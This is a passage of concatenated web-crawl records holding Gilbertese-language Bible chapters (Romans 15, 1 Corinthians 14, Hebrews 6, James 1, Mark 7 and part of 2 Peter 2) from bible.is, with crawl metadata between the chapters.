N na ninikoria n taekina te baere E a tia ni karaoia Kristo i rou n au taeka ma au m'akuri i bukini kairaia aomata aika tiaki I-Iutaia, b'a a aonga n ongeaba nakon te Atua. 19Ao N na bon ninikoria naba n taekina aroni Kristo ni karaoani kanikina ma m'akuri aika kamimii ni m'aakan te Tamnei are Raoiroi. Ma ngaia are, ni m'anangau nakon taabo nako ake I a tia n roko iai, mai Ierutarem ni karokoa aonon Iruriko, ao I a tia n tataekina euangkerioni Kristo. 20I kekeiaki n tataekina te euangkerio tiaki n taabo ike e a tia n roko iai taekani Kristo, b'a N na aki reita nako te m'akuri are e a tia ni moanaki i m'aiu iroun temanna. 21N ai aron are koreaki ni kaangai: \"A na noria ake a tuai n tuangaki taekana, Ao a na atatai ake a tuai n ongo.\" 22Ao bon aei bukin are e aki kona n rereke iai au tai n roko iroumi. 23Akea ngkai au m'akuri n taabo aikai, ao I a kaman tangiria i nanon ririki aika bati b'a N na kawaringkami, 24Ngkana I m'ananga nako Tibein; ao I kaantaningaia b'a N na noringkami i aoni kawaiu n au tai ni m'ananga, ao ni bakaborauaki nako iai iroumi i mwin tiau n nora aroni kakukurein te mena i buakomi i nanon te tai ae kimototo. 25N te tai aei, ao N na nako Ierutarem n nikiri b'aai i bukini buokaia ana aomata te Atua ikekei. 26B'a a kukurei nanoia I-M'aketonia ma I-Akaia n anga b'aai n tituaraoi i bukiia ake a aki kaub'ai i buakoia ana aomata te Atua ake a mena i Ierutarem. 27Boni ngaiia aika kukurei ni karaoa aei. Ma a bon riai ni buokiia ake a aki kaub'ai: b'a ngkai a buokanib'ai I-Iutaia ma aomata aika tiaki I-Iutaia ni baika raraoi mairoun te Atua i bukin tamneia, ao bon te b'ai ae riai irouia Kristian aika tiaki I-Iutaia b'a a na buokiia Kristian aika I-Iutaia, n anganiia baika a kainanoi i bukini maiuia. 28Ma ngaia aei, ngkana I a tia ni karaoa aei, ma n anganiia naba rab'atan te m'aiti ni m'ane are e a tia ni bobotaki i bukiia, ao N na karoko iroumi i aoni kawaiu nako Tibein. 29Ao I ataia b'a ngkana I roko iroumi, ao N na roko ma te kab'aia ae moan te bati mairouni Kristo. 30I bubutingkami, taari, i bukin ara UEA are Iesu Kristo ao i bukin te tangira are mairoun te Tamnei, b'a kam na kakorakoraingkami ma ngai n tataro nakon te Atua i buku, 31b'a N na kamaiuaki mairouia ake a rawa n onimaki i Iutaia, ao a na kukurei n au m'akuri ana aomata te Atua ake a mena i Ierutarem. 32Ngkana I tia ni karaoa aei, ao N na nakoimi ma te kukurei, ngkana nanon te Atua, ao e na rangi n nako raoi arou n tiku ni motirawa i buakomi. 33E na mena iroumi ni kabaneingkami te Atua are mai Rouna te raoi. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15","date":"2016-09-26T12:55:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660760.0\/warc\/CC-MAIN-20160924173740-00089-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1036,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E na moamoa i roumi te tangira; ma kam na bati n tangiri naba b'aai n tituaraoi ake mairoun te Tamnei, ma ai moa ra riki b'a kam na kona n taetae ni burabeti. 2B'a te aomata ae taetae n te taetae ae aki ataaki, e aki taetae nakoia aomata, ma e taetae nakon te Atua; b'a akea ae ata nanon te baere e taekinna: b'a e taekin, ni m'aakan te Tamnei, baika raba. 3Ma te aomata ae taetae ni burabeti nakoia aomata, e buokiia ni kateimatoaia ma ni kakorakoraia, ao e anganiia kabebetean nanoia. 4Ane taetae n te taetae ae aki ataaki ao e kateimatoa i bon i rouna; ma ane taetae ni burabeti ao e buoka te ekaretia ni kateimatoa. 5I tangiringkami b'a kam na taetae n taetae aika aki ataaki, ma e a raoiroi riki ngkana kam taetae ni burabeti. E bongana riki te aomata ane taetae ni burabeti nakon ane taetae n taetae aika aki ataaki; ma ti ngkana iai ae kona ni kab'arab'ara nanon ana taeka b'a e aonga n reke kateimatoan te ekaretia iai. 6Ma ngaia aei, taari, ngkana arona b'a I roko i roumi n taetae n taetae aika aki ataaki, ao tera kab'aiami iai i rou? Bon akea, ma ti ngkana I taekina nako imi kanoan te kaotioti are roko nako iu, ke n taekin taekan te atatai ma te taeka ni burabeti, ke te taeka n reirei. 7Ngke arona b'a ti te bo aron tangini b'aai ni katangitang aika akea te maiu i nanoia, n ai aron te kaib'ab'aa ke te aabi, ao e na iranaki n ataaki tangin te kaib'ab'aa ke tangin te aabi? 8B'a ngkana e tang te bu n te tangitang ae aki akaaka, ao antai ae na katauraoi nakon te buaka? 9Ao ai aromi naba, ngkana kam aki b'aina te taetae ae kai ataaki nanona, ao e na iranaki n ataaki nanon te baere e taekinaki? B'a ane kam na taetae nakon te ang. 10Tao a bati aekan taetae nako i aonnaba, ma akea i buakoia ae akea nanona. 11Ma ngaia ae ngkana I aki ata nanon te taetae, ao I riki b'a kanga kaain te aba teuana ngai nakon ane taetae, ao ane taetae b'a kanga kaain te aba teuana nako iu. 12Ao ai aromi naba, ngkai kam rangi n tangiri b'aai n tituaraoi ake mairoun te Tamnei, ao kam na ukoukori b'a a na m'aiti i roumi i bukini kateimatoan te ekaretia. 13Ma ngaia aei, b'a ane taetae n te taetae ae aki ataaki, ao ke e tataro b'a e na kona ni kab'arab'ara nanona. 14B'a ngkana I tataro n te taetae ae aki ataaki, ao e tataro tamneiu, ma e aki bongana nanou. 15Ao tera ngkanne? N na tataro n tamneiu, ao N na tataro naba ni kabongana au iango; N na anene n tamneiu, ao N na anene naba ni kabongana au iango. 16B'a ngkana ko tataro ni katituaraoi n te tamnei, ao e na iranna n atonga te \"Amen\" n am katituaraoi te aomata ae kan rin n te ekaretia ma e tuai n rin, ngkae e aki ata am taeka? 17B'a e ngae n ae raoiroi am tataro ni katituaraoi, ma e bon aki kateimatoaki iai raom. 18I katituaraoa te Atua ngkae e bati n reke i rou te kona n taetae n taetae aika aki ataaki nakon ane e reke i roumi. 19Ma n te botaki n ekaretia ao I tangiria riki b'a N na atongi nimaua te taeka aika aki kamangaongao, b'a I aonga n reireia naba te koraki ae bati, nakon atongan tebwina tengaa te taeka n te taetae ae aki ataaki. 20Taari, kam na tai b'aina te nano n ataei; ma kam na riki b'a merimeri nakon te buakaka, ao kam na b'aina te nano n ikawai. 21E koreaki n te Tua ae kangai: \"E taku te UEA, N na taetae nakon te botannaomata aei n taetae aika aki ataaki, ni wiia aomata tem'angina; ma a bon aki ongo naba i Rou.\" 22Ma ngaia ae bon te kanikina taetae aika aki ataaki, tiaki nakoia akana onimaki, ma nakoia akana aki onimaki; ao te taetae ni burabeti bon te kanikina nakoia akana onimaki, ma tiaki nakoia akana aki onimaki. 23Ma ngaia aei, ngkana tao a bane kaain te ekaretia ni botaki, ao a bane n taetae n taetae aika aki ataaki, ao ngkana a rin i buakoia aomata akana aki onimaki ma akana kan rin n te ekaretia ma a tuai n rin, ao tiaki b'a a na taku b'a kam rangirang? 24Ma ngkana tao a bane n taetae ni burabeti ao e rin temanna ae aki onimaki ke temanna ae kan rin n te ekaretia ma e tuai n rin, ao e na namakinna b'a bon te tia bure ngaia, n ongorana ni b'aai ni kabane ake a taekinaki, ao e na motikaki naba taekana iai; 25a na kaotaki baika raba i nanona, ao ane na katorobubua ni bobaraaki n taromauria te Atua, ao e na kaotia, \"B'a e boni mena te Atua i roumi!\" 26Ao tera ngkanne, taari? Ngkana kam botaki, ao temanna e anene, ao temanna e reirei, ao temanna e taekina te kaotioti are roko i rouna, ao temanna e taetae n te taetae ae aki ataaki, ao temanna e kab'ara nanon te taetae ae aki ataaki; a na bane ni karaoaki baikai i bukini kateimatoaia akana onimaki. 27Ngkana iai akana taetae n taetae aika aki ataaki, ao a na taetae ti uoman, ke e na aki raka i aon teniman, ma e na taetae moa temanna ao i mwina temanna; ao ke e kab'arab'arai nanon taeka temanna. 28Ma ngkana akea te tia kab'ara nanon taeka, ao ke e kainab'aabu n te botaki n ekaretia te aomata ane rabakau n taetae n te taetae ae aki ataaki; ke e taetae bon ti nako ina ma te Atua. 29Ke a taetae uoman ke teniman ake nakoaia te taetae ni burabeti, ao tem'angina a na iangoi raoi nanon taeka ake a taekinaki. 30Ma ngkana iai i buakoia ake a tekateka ae iai te kaotioti ae roko i rouna, ao e na toki n taetae are e taetae. 31B'a kam bane ni kona n taetae ni burabeti n tatabemaningkami nako, b'a a aonga ni bane n reireiaki ami koraki, ao a na bane naba ni kakorakoraki nanoia. 32A tauaki aroia tamneia burabeti irouia burabeti. 33B'a te Atua, tiaki Atuan te mwebuaka, ma bon Atuan te raoi. Ao n aron are b'ainaki n aia ekaretia Kristian ni kabaneia: 34a na tai taetae aine n te botaki n ekaretia nako; b'a e aki kariaiakaki b'a a na taetae; ma a na tauaki aroia, n ai aron taekana naba n te Tua. 35Ngkana iai te bae a kan ata taekana, ao ke a titirakiniia buia ni mwengaia; b'a te b'ai ni kamamaa ngkana e taetae te aine n te botaki n ekaretia. 36E nako mai roumi ana taeka te Atua? Ke e roko i roumi n ti ngkami? 37Ngkana e taku temanna b'a te burabeti ngaia, ke e taku b'a iai i rouna te b'ai n tituaraoi are mairoun te Tamnei, ao ke e ataia b'a baika I koroi taekaia nako imi bon te tua mairoun te UEA; 38ma ngkana iai ane aki ataia, ao ke e aoria n arona anne. 39Ma ngaia aei, tariu, kam na bati n tangira te taetae ni burabeti, ao tai tuka te taetae n taetae aika aki ataaki. 40Ma a na bane b'aai ni karaoaki n te aro ae tara raoi ma n eti raoi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14","date":"2016-09-27T07:58:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660992.15\/warc\/CC-MAIN-20160924173740-00062-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1252,"character_repetition_ratio":0.099,"word_repetition_ratio":0.003,"special_characters_ratio":0.246,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ti na aki toki ni baike ti moa n reireiaki iai n taekan Kristo, ma ti na waki rake nakon reirei n ikawai; ao ti na tai manga titiku n taekani baika kam moa n reireiaki iai, ake taekan te rairan nano mani m'akuri aika akea uaaia, ao taekan onimakinan te Atua, 2ma taiani b'abetito, ma katokaani b'aai, ma manga utiia maate, ma te motikitaeka ae aki toki. 3Ao ti na karaoa aei, ngkana E kariaia te Atua. 4B'a aomata aika tia n reke i rouia te oota, aika a tia ni katoonga te b'ai n tituaraoi mai karawa, aika a tia n anganaki naba te Tamnei are Raoiroi, 5ao a a tia naba n reke i rouia ana taeka ae raoiroi te Atua ma m'aakan te aba ae nangi roko, 6ngkana a kitana te onimaki, ao a bon aki konaki ni kaokaki nakon rairan te nano i bukina ngkai a manga taura Natin te Atua n te kaibangaki i bon i bukiia, ao a karaoa ae E na kamaamaaeaki iai irouia aomata. 7B'a e kakab'aiaki iroun te Atua te tano ae a tia n oonga te karau ae b'ab'aka i aona, ae e kariki aroka aika bongana nakoia akana e ribanaaki i bukiia. 8Ma ngkana e kariki kaai aika kateketeke ma kaai aika akea bonganaia, ao e aki bongana; e a kaan rekeni kaina, ao n tokina e na kabuokaki. 9Ma ti bon aki nanokokoraki i roumi, ngkami aika kam tangiraki, ngkana tao ti taetae n te aro aei; b'a ti ataia b'a a a tia n reke i roumi taiani kab'aia aika raraoi riki aika reitaki ma aroni kamaiuami. 10B'a E aki ribuaka te Atua ni m'anuoki taekan ami m'akuri ake kam karaoi i bukina, ma ami tangira are kam kaotia i bukina, ngke kam a tia n anga ami buobuoki, ao ae kam bon teimatoa naba iai i bukiia ake a itiaki. 11Ma ti tangiringkami n tatabemaningkami nako b'a kam na kaota te ingainga n nano ae ti te arona ni karokoa te toki, b'a kam aonga ni koaua raoi ni b'aai aika kam kaantaningai b'a a boni koaua: 12b'a kam na aki taningaroti, ma kam na kakairi irouia ake a tia ni karekea kanoan te taeka n akoi i bukin aia onimaki ma aia taotaonaki n nano. 13Ngke e anganaki Aberaam te taeka n akoi iroun te Atua, ao E tuea i bon i Rouna, ngke akea riki temanna ae kakannato riki nako Ina are E kona ni kamanena arana ngkana E tuea; 14ao E kangai, \"Bon te koaua b'a N na kakab'aiako, ao N na kabatiaia am kariki ni boni kabatiaia.\" 15Ao i bukin aron Aberaam n taotaona nanona, ao e a reke i rouna mwin te taeka n akoi arei. 16B'a ngkana a taetae n tuea aomata ao a kabonganai araia ake a kakannato riki nako ia; b'a te taeka ni berita boni ngaia ae katoki kauntaeka ni bane. 17Ma ngaia aei, b'a te Atua ngke E kani kaota raoi nakoia taani b'aib'ai n te taeka n akoi b'a E aki kona ni bita nanona are iai, ao E kamatoa ana taeka n akoi n te taeka ni berita, 18b'a ti aonga ni karekea kakorakoraan nanora ae bati ni baika uoua aikai aika aki bibitaki, aika ti aki kona ni keweaki iai iroun te Atua, ngaira aika ti biri nako b'a ti na taua te kaantaninga are kamenaki i m'aira. 19Ao iai i roura te kaantaninga ae ti taua b'a kanga atinroni maiura, ae te atinro ae matoatoa ae nene, are rin i nanon te ruu are moan te tabu are i akuun te roki are te kunnikai i nanon te um'antabu i karawa, 20ike E a tia n rin iai Iesu i bukira, ae te tia ri-moara; ao E riki b'a te Ibonga ae Kakannato n aki toki, n ai aroni Merekitereka.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/6","date":"2016-09-30T07:30:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662058.98\/warc\/CC-MAIN-20160924173742-00185-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":643,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairoun Iakobo, ae ana toro te Atua ma te Uea are Iesu Kristo; nakoia ana aomata nako te Atua ake a uamaae i aonnaba; kam na mauri. 2Tariu, kam na kim'areirei ngkana kam kaitaraa ma taiani kariri nako, 3ngkai kam ata kataan ami onimaki b'a e karika te nano m'aaka. 4Ao ke e kakororaoa raoi ana m'akuri te nanom'aka i nanomi, b'a kam aonga ni kororaoi n akea kab'akami, ao kam aki kainano n te b'ai teuana. 5Ngkana akea ana rabakau temanna i buakomi, ao e na butiia te Atua ae tituaraoi, ae kukurei n anganganiia aomata ni kabaneia, ao e na bon anganaki. 6Ma e na bubuti ma te nano n onimaki, n aki nanokokoraki teutana; b'a ane nanokokoraki ai aron naoni marawa ae ukaki n te ang ao e kaueaki. 7E na tai taku te aomata anne b'a e na anganaki te b'ai mairoun te Uea; 8ngkai te aomata ngaia n nanououa, ae e kai bibitaki arona. 9Ke e kim'areirei te tari ae aki kaub'ai ngkae e karietataki; 10ao e na kim'areirei ane kaub'ai ngkae e karinanoaki: b'a ane kaub'ai ao e na mauna n ai aron ueen te uteute. 11B'a e oti taai ma te ang ae kabuebue, ao e karaia te uteute; ao e b'aka ueena, ao e mauna tamaroana. Ao ai aron naba te aomata ae kaub'ai: e na rai i nanon ana tai ni wakina ana bitineti. 12E a kab'aia te aomata ae teimatoa i buakon te kaririaki; b'a ngkana e a tia ni kataaki, ao e na reke i rouna te bau are te maiu, are E atongnga te Uea b'a aia b'ai akana tangiria. 13Ngkana e kaririaki temanna, ao ke e tai kaangai, \"I kaririaki mairoun te Atua.\" B'a E aki konaaki te Atua ni kaririaki ni baika bubuaka, ao akea ae E kaririaki i rouna; 14ma e kaririaki te aomata ngkana e kairaki ma n tauaki n nanona ni kaib'ab'aru. 15Ao te nano ni kaib'ab'aru, ngkana e bikoukou, ao e bungia te bure; ao te bure, ngkana e ikawai, ao e bungia te mate. 16Tariu aika kam tangiraki, a na tai bure ami iango. 17B'aai ni kabane aika raraoi ma ni moanibaan te raoiroi boni b'aai n tituaraoi mai eta, aika ruo mairoun Taman te oota, are akea i rouna te bibitaki are e na reke mai iai te nu ae roo. 18E karikira n oin nanona, n te taeka are te koaua, b'a ti na riki b'a kanga moani-b'ai i buakoia akana karikaki i rouna. 19Tariu aika kam tangiraki, kam na ata aei: a riai aomata nako n aki tab'ara n ongora, a na aki waekoa ni kan taetae, ao a na aki kakai un; 20b'a unin te aomata e aki kona ni karaoa nanon te Atua. 21Ma ngaia ae kam na kaaki aromi aika kam'ara ma kateimi ni kabane aika bubuaka, ao kam na kaaki i nanomi ma te nimamannei te taeka are unikaki are kona te kamaiungkami. 22Kam na aki m'am'anaingkami n iangoia b'a ti taan ongora ngkami n ana taeka te Atua; ma kam na riki b'a taan toua mwina. 23B'a ngkana e ongo ana taeka te Atua te aomata n aki toua mwina, ao ai aron te aomata ae tirotiroia n te tirotaam: 24b'a e tirotiroia, ao e nako, ao e a m'aninga naba ngkekei tein taraana. 25Ma ane taratara te tua are moanibaan te raoiroi, are tuan te inaomata, n teimatoa iai, ngkai tiaki te aomata ngaia are e ongo ao i mwina e m'aninga, ma te aomata are karaoa nanon te baere e ongo, ao e na kakab'aiaki n are e na karaoia. 26Ngkana e taku temanna b'a e taua te Aro, ao e aki kona n taua tian ana taeka, ao e boni m'am'anaia i bon i rouna, ao akea nanon tauan te Aro i rouna. 27Aio te Aro ae itiaki ae aki kam'ara i matan te Atua ae te Tama: bon tararuaia akana a mate tamaia ma aine aika a mate buia ni kain nanoia; ao te kawakinna te aomata b'a e na aki baareka ni b'ain aon te aba.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/1","date":"2016-09-27T13:06:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661051.55\/warc\/CC-MAIN-20160924173741-00195-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":679,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai B'aritaio tabem'aang ma taani koroboki ake a roko mai Ierutarem, ao a botaki ma Iesu. 2A noriia tabem'aang i buakoia ana reirei Iesu b'a a am'arake ma baiia aika aki itiaki, b'a a tuai n teboki n ai aron are a tataneiai iai B'aritaio 3B'a a aki kona n am'arake B'aritaio ma I-Iutaia ni kabaneia ngkana a aki teboki moa baiia n ai aron aia taeka n reirei aia bakatibu; 4ao a aki kana naba te am'arake teuana ae karekeaki n te m'akete ngkana a tuai ni kaitiakia moa n ai aron taekana n aia taeka n reirei aia bakatibu. Ao a bati riki tuua ake a anganaki b'a a na tauu, n aron te teboteboki m'angko ma b'aata ma boora aika karaoaki mani bititaom, ma nne ni wene. 5Ao B'aritaio ma taani koroboki a titirakina Iesu ni kangai, A aera am reirei ngkai a aki tou mwin aia taeka n reirei ara bakatibu, b'a a am'arake ma baiia aika tuai ni kaitiakaki? 6E kaekaia Iesu ao E taku, \"E eti ana taeka Itaia ngke e taetae ni burabeti i bukimi ngkami aika taani m'am'ana-te-aba, ngke e kangai, 'E taku te Atua, A karineai aomata aikai n aia taeka, ma a raroa nako nanoia mai Rou; 7akea nanon aia taromauri, i bukina b'a a reirei taekan tuua ake a karaoi aomata b'a aongkoa ana tua te Atua!' 8Kam rawa nakon ana tua te Atua, ao kam ongeaba nakon aia taeka n reirei aomata. 9Ao E a manga taku nako ia, Kam rabakau aromi ni kaki taekan ana tua te Atua, b'a kam aonga ni kawakin aia taeka n reirei ami bakatibu. 10B'a e taku Moote, 'Karinea tamam ma tinam;' ao e a manga taku naba, 'Ane tabeki taeka aika buakaka i bukin tamana ke tinana, ao ke e mate.' 11Ma kam taku, Ngkana e kangai te aomata nakon tamana ke tinana, Te b'ai are ko na karekea mai rou b'a am b'ai boni Koreban, ae nanona, Ae e anganaki te Atua 12ao kam kataua b'a e na aki manga karaoa te b'ai teuana rimwi i bukin tamana ke tinana. 13Ao aei te katei are e a kakeaki iai ana taeka te Atua i bukin ami taeka n reirei nakoia aomata. Ao a m'aiti riki b'aai aika ai aron aei ae kam karaoi.\" 14E a manga weteia aomata nako Ina, ao E taku nako ia, Kam na bane n ongora i Rou, ao kam na ata nanon te b'ai ae N na taekinna. 15Akea te b'ai ae rin nako nanon te aomata mai tinanikuna ae na kona ni kam'araea te aomata anne; ma b'aai aika oti nako mairoun te aomata, boni ngaai aika kam'araea. 16Ane iai taningana n ongo ao ke e ongo. 17Ngke E kitaniia aomata ao E rin n te auti, ao ana reirei a tuangnga b'a E na kaota nako ia nanon te taetae ni kabotau arei. 18Ao E taku nako ia, \"Ao ngkami, kam aki ata naba nanona? Kam aki ataia b'a te b'ai ae rin nako nanon te aomata mai tinanikuna e aki kona ni kam'araea? 19B'a te b'ai anne, e rin nako nanoni birotona, ma e aki rin nako i nanona, ao e oti nako ni kawaina. E atonga aei Iesu ni kaotia b'a a kona ni kanaki am'arake nako. 20Ao E taku, \"Te b'ai ae oti nako mairoun te aomata, boni ngaia ae kam'araea te aomata. 21B'a a oti nako mai nanon te aomata ao man ana iango, naano aika buakaka, ake a kairiia b'a e na karaoi baika buakaka: b'a e na wene ni bure ma aika akea buia, e na kimoa, ao e na tiritiri; e na wene ni bure ma aika iai buia, 22ao e na mataai ni kani b'aib'ai, ao e na karaoi nako baika buakaka; e na b'aina te kewe, ma te maiu ae aki kani kaetaki, ma te bakantang, ma te taekin taeka ake e na kabuakakaki iai te aomata, ma te kainikatonga; ao e na karaoi baika e na atongaki iai b'a e baba. 23Baikai ni kabane a nako mai nanon te aomata, ao a kam'araea.\" 24E kitana te tabo arei Iesu, ao E nako n te tabo ae kaani ma te kawa ae Tuuro E rin i nanon te auti teuana, ao E aki tangira temanna b'a e na ataia ae E mena ikekei; ma E aki kona n ae E na raba. 25Ao te aine temanna ae iai natina te teeinaine ae taniaki iroun te tamnei ae kam'ara, e ongo taekan Iesu ao e nako ni kawaria ngkekei naba, ao e b'aka i rarikini waena. 26Te I-Erene neierei ae bungiaki n te tabo ae Turoboinikia. E butiia Iesu b'a E na kanakoa te taimonio mairoun natina are te teeinaine. 27Ma E taku Iesu nako ina, \"Ti na kaam'arakeia moa ataei, b'a e aki riai b'a ti na anai kanaia ataei n tewenakoa nakoia kamea.\" 28E taku neierei nako Ina, \"Eng, te Uea; ma kamea ake a mena i aan te taibora, a kang tamruruni kanaia ataei!\" 29Ao E taku Iesu nako ina, \"I bukin am kaeka anne, ao ko na nako n okira mwengam, ao ko na nora natim b'a akea te taimonio i rouna.\" 30Ao neierei, e okira mwengana, ao e nora natina b'a e wene i aon te nne ni wene, ao akea te taimonio i rouna b'a e a tia n nako. 31Ao Iesu E kitan taabo ake i rarikin Tuuro, ao E toua kawain te kawa are Titon, ao E ri nukan Tekabori nako namani Kariraia. 32Iai aomata tabem'aang ake a kaira nakon Iesu te aomata ae e bono taningana ao e babanga taetae. A butiia Iesu b'a E na katokaa baina i aona. 33Ao Iesu, E airi ma ngaia ni kaokoroia mairouia aomata, ao E karin tabonibaina i nanon taningan teuarei; ao e baware ao E riinga newen teuarei. 34E tara rake ngkanne nako karawa, ao E ike rake ni kamanna teutana, ao E taku nakon teuarei, \"Eb'ata,\" ae nanona, \"Uki.\" 35N te tai naba arei, ao te aomata arei e a kona n ongo ao akea te baere tutuka etin ana taetae, ao e a kona te taetae raoi. 36Ao Iesu, E tuangiia aomata b'a a na aki tuanga temanna taekan te baei; ao ngke E kabatiai ana taeka nako ia b'a a na aki tuangiia aomata, ao a kabatia riki tataekinana. 37Ao aomata ake a ongo, a rangi ni mimi. A taku, \"A nako raoi b'aai ni kabane ake E karaoi: b'a E karaoia aika a bono taningaia b'a a na ongo, ao aika a bae neweia b'a a na taetae.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/7","date":"2016-09-25T06:13:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659865.46\/warc\/CC-MAIN-20160924173739-00130-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1095,"character_repetition_ratio":0.053,"word_repetition_ratio":0.002,"special_characters_ratio":0.257,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma bon iai burabeti ni kewe i buakoia aomata ngkekei, ao ai bon arona naba b'a a na iai i buakomi taan reirei ni kewe, aika a na kaoti n te aro ni karaba ao ana uoti taiani koaua aika kairua aika na urua te onimaki, ao a na kakeaa te Toka are kainaomataia; ao n te aro aei a na karoko mateia iai ni waekoa. 2Ao ane a na m'aiti aomata aika na kakairi i rouia n tam'are; ao i bukin aroia anne, ao e na kabuakakaki iai te koaua ni Kristian. 3I bukin aroia ni kani b'aib'ai ao ane a na karekei aia b'ai mai roumi n taeka n reirei ni kewe. E a kaman tauraoi ma ngkoa i bukiia motikan taekaia ni kabuakakaki, ao ae e teimatoa naba n tiku n taningaia te aro are a na kamaunaki iai. 4B'a E aki kamaiuia anera te Atua ake a bure, ma E teweia nako moone, ike a kabaeaki n taurekereke i nanon te rotongitong, ike a kabaeaki iai n taurekereke i nanon te roo b'a a na kawakinaki iai ni karokoa motikan taekaia. 5E aki kamaiuia kaain aonnaba ake ngkoangkoa te Atua, ma E ti kamaiua Nooa are te tia tataekina nanon te Atua nakoia aomata, ao itiman riki raona, ngke E karokoa te ieka i aoia kaain te aba ake a buakaka. 6E motiki taekaia kaawa ake Totom ma Komora te Atua b'a a na uruaki n te ai, ao E karaoi b'a banna ni kakairi n aron te b'ai ae na riki nakoia aomata aika iangoia b'a a na aki reitaki ma te Atua ni maiuia. 7E kamaiua Rota ae te aomata ae e raoiroi, are rawawata nanona n aroia n tam'are aomata aika buakaka. 8Ao te aomata ane raoiroi anne e maeka i buakoia, ao n te bong ae koraki e taonaki maiuna n te rawawata ae moan te korakora, n noran ma n ongona n aroia aika bubuaka. 9Ma ngaia ae te Uea E ata aroni kamaiuia man te kaririaki, aomata aika reitaki ma Ngaia, ao te aro ae E na tauia iai akana buakaka i aan te karawaawataaki i m'ain te bongi ni motiki-taeka; 10ai moara riki te koraki ake a iri nanon rab'ataia ni karaoi m'akuri ni kaib'ab'aru aika kam'ara, ma n rawa n tauaki aroia: te koraki n ninikoria aika kainikatonga, aika aki maku n taetaebuakaia akana neboaki. 11Ao anera, aika korakora riki ma ni m'aaka riki, a aki kabuakakaia n taetaebuakaia taan reirei ni kewe aikai i matan te Atua. 12Ma te koraki aei, aika kanga maan aika aki wanawana, aika bungiaki b'a a na tauaki ni kamateaki, a taetaebuakai baika a aki atai. A na boni kamateaki n ai aroia maan aika aki wanawana; 13ao a na kamarakaki b'a booni mwin te kamaraki are a a tia ni karaoia nakoia tem'angina. Bon te b'ai ni kakukurei nakoia karaoan te b'ai ae buakaka ae a na kukurei iai rab'ataia i nanon te ngaina; a buakaka aroia ma n aki tau ngkai a raoningkami n ami baka n am'arake, ao a maiu nanoia n aroia ni m'am'anaa te aba. 14Nanoia bon ti te kani wene ni bure ma aine aika a nooriia; a aki kona n rauaki nanoia ae kani bubure. A kaririia aomata aika mamara ni maiuia b'a a na kam'aneia. Bon iai nanoia aika kataneiaki b'a a na kani b'aib'ai. A na bon reke kaiia; 15a kitana te kawai ae eti, ao a tiotio nako, ao a karaoa are e karaoia B'araam are natini Beora, are tangira boon te m'akuri ae kairua are e karaoia; 16ma e boaaki i bukin ana bure. Te aati are aki kona n taetae e taetae ni b'anaan te aomata, ao e katoka te burabeti man ana m'akuri ni baba. 17Boni kanga m'anib'a aika akea te ran i nanoia te koraki aei, ao kanga mabubu aika buti b'a a ukaki n te ang ae baibati; e kawakinaki i bukiia neia n te roo ae rotongitong. 18B'a ngke a atongi taeka ni kainikatonga aika ria nako aika akea manenaia, ao a kamanena ni kabatiai kaib'ab'arun te rab'ata b'a kanga abeaia i bukini kam'aneaia akana moanna ni butaki nako mai buakoia akana maeka i buakon te buakaka. 19A tuangiia b'a a na inaomata, ma ngaiia bon ana toro te buakaka ae kamamate: b'a e toronaki te aomata iroun ane kataenikaiaki i rouna. 20B'a ngkana a a tia ni butaki nako mani kam'arani b'ain te maiu aei, n ataakin te Uea are te Tia Kamaiu are Iesu Kristo, ao ngkana a manga mangao i buakoia ma n tae aia kai iai, ao n tokiia a buakaka riki aroia nakon are rimoa. 21B'a e raoiroi riki i rouia ngke a aki ata te aro are E tangiria te Atua b'a a na maiu iai nakon ae a ataia, ao a rairaki nako man taekan te tua ae tabu are a anganaki. 22E a kaotaki n te baere riki nakoia b'a a koaua iai taeka n rabakau aika 